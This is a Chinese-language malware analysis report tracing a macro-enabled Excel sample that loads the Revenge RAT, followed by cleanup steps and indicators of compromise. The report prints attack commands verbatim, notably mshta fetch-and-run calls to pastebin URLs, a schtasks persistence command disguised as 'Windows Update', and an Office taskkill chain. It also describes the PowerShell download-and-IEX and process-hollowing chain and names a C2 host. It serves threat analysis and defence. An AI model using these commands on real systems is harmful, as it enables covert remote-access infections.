宏病毒_APT分析报告
0x00 概述
基本信息
样本名称 | Order__679873892.xls |
---|---|
样本类型 | 宏病毒、Revenge RAT远控木马 |
样本大小 | 40.5 KB (41,472 字节) |
MD5 | 2A8A7254D6A2D75BC55F27F732C97DCC |
简介
该样本最终实现执行一个远控程序,样本通过宏代码访问网址中的JS代码,调用mshta执行JS代码解析出的VBS代码。其中多重混淆,并且全程都是以无文件方式执行的,从指定URL上获取两端PE数据流,通过反射加载来创建傀儡进程执行远控程序,在一定程度上可以逃避杀软的查杀,可见该样本的执行过程十分隐蔽,技术手段高超。
流程图
0x01 样本详细分析
查看宏
该样本是一个Excel文件并且带有宏,首先查看宏代码,发现有密码,可以使用工具offkey获取密码来解密。
查看宏代码,其中值得关注的便是函数workbook_Open()
,Workbook_Open和Auto_Open差不多都能实现在打开office时自动运行。该函数中有明显的执行函数shell()
,然后在shell处下断点,然后进行调试来查看所执行的指令。调试出来的指令如下:
1 | "mshta http[:]//bit.ly/8hsshjahassahsh" |
通过执行mshta,去访问指定的域名。调试结果如下:
异常JS代码
访问指令中的域名,发现是一个正常的网页,然后将网页源码拷下来,发现该网页源码中,有一段异常的JS代码,其中使用了函数document.write
。异常JS代码如图:
使用console.log
解析异常JS代码,解析出来了一个VBS代码。也就说明了网页执行到该异常JS代码时,会通过执行document.write
,将该VBS代码嵌在了网页文档中,所以==宏调用的mshta真正执行的其实就是这个VBS代码==。这里将其保存下来,并命名为1.vbs。解析出来的VBS代码,如图:
调试该VBS代码(1.vbs),发现该VBS再次调用了指令:mshta
,去访问网址来执行操作。mshta指令为:
1 | mshta “http[:]//www.pastebin.com/raw/nv5d9pYu" |
调试1.VBS结果如图所示:
添加计划任务和开机自启
再去访问1.VBS执行指令中的网址,发现还是一个正常的网址,网址源码中含有异常JS代码。1.VBS所访问网址中的异常JS代码如下:
解析该JS代码,发现与上一步一模一样的,还是==解析出来VBS代码,交由mshta==去执行。该样本通过这样的手段,访问正常的网站,然后去执行隐藏在网页中的恶意代码,来隐藏自身的恶意行为,并且可以==实现无文本执行恶意行为==,来逃避查杀。解析出的VBS代码如下:
将调试出来的VBS代码保存下来,并命名为2.VBS。然后调试2.VBS,2.VBS主要行为如下:
1.关闭进程,关闭Word、Excel、Publisher、PPT程序。关闭这些程序,目的可能是用来隐藏恶意程序的来源与 。 执行指令如下:
1 | cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & exit |
2.设置两个计划任务,分别为每60分钟和每300分钟调用一次mshta,并分别访问了两个不同的URL。而且还将计划任务的名字设置为与系统更新相关的内容。执行指令如下:
1 | schtasks /create /sc MINUTE /mo 60 /tn "Windows Update" /tr "mshta.exe http://pastebin.com/raw/vXpe74L2" /F |
3.设置开机自启动项,修改注册表添加自启动项。致使每次开机便会执行mshta,访问指定URL。修改的注册表,及执行的指令如下:
1 | "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate" |
调试2.VBS结果如图:
其中计划任务和开机自启项中,mshta访问的URL如下表:
访问的URL |
---|
http[:]//pastebin.com/raw/vXpe74L2 |
http[:]//pastebin.com/raw/JdTuFmc5 |
http[:]//pastebin.com/raw/CGe3S2Vf |
执行Powershell
继续去访问这3个URL,发现这3个URL的内容都是一样的,可见所有的持久化攻击的目的都是一致的,如图:
这里还是与之前的套路是一样的,还是将JS解析后的VBS代码,==交由mshta去执行解析后vbs中的代码,来实现无文本攻击==。解析出的VBS代码结果如图:
将解析出来的VBS保存为3.VBS,然后调试该VBS代码,发现3.VBS执行了powershell指令,调试结果如下图:
查看Powershell
的指令,发现powershell,将初始化的数据转为字符串并执行。这里通过调试来获取Powershell执行的数据,如图:
从网页获取文件数据
分析powershell执行的指令,首先通过test-connection
不断尝试谷歌进行链接,来判断网络连接情况。
然后调用CallByName
执行DownloadString
从执行下表中的两个链接中下载字符串,然后通过IEX执行下载后的指令。
下载字符串连接地址: |
---|
http[:]//pastebin.com/raw/wMG90xwi |
http[:]//pastebin.com/raw/W455MKAZ |
代码如图:
1.获取DLL文件流
访问第一个网址==wMG90xwi==,发现从该网址上下载下来的==powershell==指令与上一个差不多,都是将初始化的数据,然后执行。这里直接调试,并将调试的结果输出到7.txt中,如图:
查看生成的7.txt,发现又是一层执行。可以从中看出是一个==PE==文件,数据开头4D5A,而且该powershell执行的主要目的在于替换其中的数据,然后替换完数据,由通过load去加载替换后的比特流,初步推断替换后的是一个dll文件。
通过将IEX
替换为out-file
, 获取这个PE文件。通过==DIE==查看该PE文件,发现该PE文件正如猜想为一个dll文件,这也就说明了,这里通过==函数load
加载了一个从网上获取到的dll文件的数据流==,依旧还是无文本模式。
2.获取exe文件流
访问第二个网址==W455MKAZ==,发现这次从该网址上下载的字符串直接是一个PE文件的数据流,如图:
这里将其转换为二进制粘贴到文件中,就能获得该文件。用==DIE==查该文件,发现是一个.Net编写的exe文件。如图:
上面两步获取的文件流,并没有保存到本地,而是以比特流的形式存储的。这样的目的是不生成文件,很大程度上能做到免杀。
反射动态加载
获取完EXE和DLL文件流之后,该样本通过==反射加载==,加载了该DLL。执行了该DLL中的==retrt477fdg145fd4g0wewerwedsa799221dsad4154qwe==方法,并将("MSBuild.exe",$f)
作为参数传入该方法中,其中$f为获取到的EXE的二进制文件流数据。如图:
创建傀儡进程
该样本通过反射加载了DLL文件中的函数==retrt477fdg145fd4g0wewerwedsa799221dsad4154qwe==,并传进了两个参数,一个是字符串"MSBuild.exe"
,一个exe文件的比特流数组。查看该函数对这两个参数或这个函数干了些什么。
1.解混淆
通过反编译工具==dnspy==,查看该.Net编写的dll文件时,发现其中有大量的混淆内容,查看编辑模块中的自定义特性发现该DLL文件是通过ConfuserEx
混淆过的。如图:
可以通过该混淆制作者公布的工具,进行解混淆。并找到反射加载的函数,还发现该DLL文件中,有一些创建傀儡进程会用到的API,如图:
2.创建进程并写入数据
从反射加载的函数,往下跟,发现函数semthod_0
,创建进程MSBuild,并将其挂起,如图:
然后,该函数还往该进程内存中写入获取到的EXE文件的数据流,如图:
通过执行函数ResumeThread
恢复线程,执行EXE文件,完成傀儡进程。如图:
实施远控
通过反射加载该DLL文件,执行方法==retrt477fdg145fd4g0wewerwedsa799221dsad4154qwe==,来创建傀儡进程,将获取到的EXE加载到==正常程序MSBuild.exe中==,来免杀。
注入该傀儡进程的获取到的EXE文件,实质上是一个==远控==,通过查询互斥体,可知道该远控为RevengeRAT
,该远控的C&C服务器为:==meandmyjoggar.duckdns.org:777==,如下图:
由于该RevengeRAT
远控是一个成熟的远控程序,网上也可以直接下载到该远控软件,这里就不过多去分析该远控程序。
0x02 查杀方案
关闭傀儡进程
关闭创建的
MSBuild.exe
的傀儡进程。删除计划任务
删除创建的两个计划任务:
Windows Update
、Update
可执行如下指令删除计划任务:
1
2schtasks /Delete /TN "Windows Update" /F
schtasks /Delete /TN Update" /F删除开机自启动项
删除注册表项==HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate==
0x03 样本溯源
通过mshta访问的网址如下表:
捆绑恶意JS代码网址: |
---|
==http[:]//bit.ly/8hsshjahassahsh== |
==http[:]//pastebin.com/raw/nv5d9pYu== |
==http[:]//pastebin.com/raw/vXpe74L2== |
==http[:]//pastebin.com/raw/JdTuFmc5== |
==http[:]//pastebin.com/raw/CGe3S2Vf== |
==http[:]//pastebin.com/raw/wMG90xwi== |
==http[:]//pastebin.com/raw/W455MKAZ== |
远控RevengeRAT
的C&C服务器:
C&C服务器 |
---|
==meandmyjoggar.duckdns.org:777== |
0x04 总结
该样本通过Excel进行传播,攻击手段高超,全程无文本攻击,其间进行了多次混淆,通过访问正常网址获取指令和数据,反射加载获取到的DLL文件流,来创建傀儡进程,最终执行远控程序。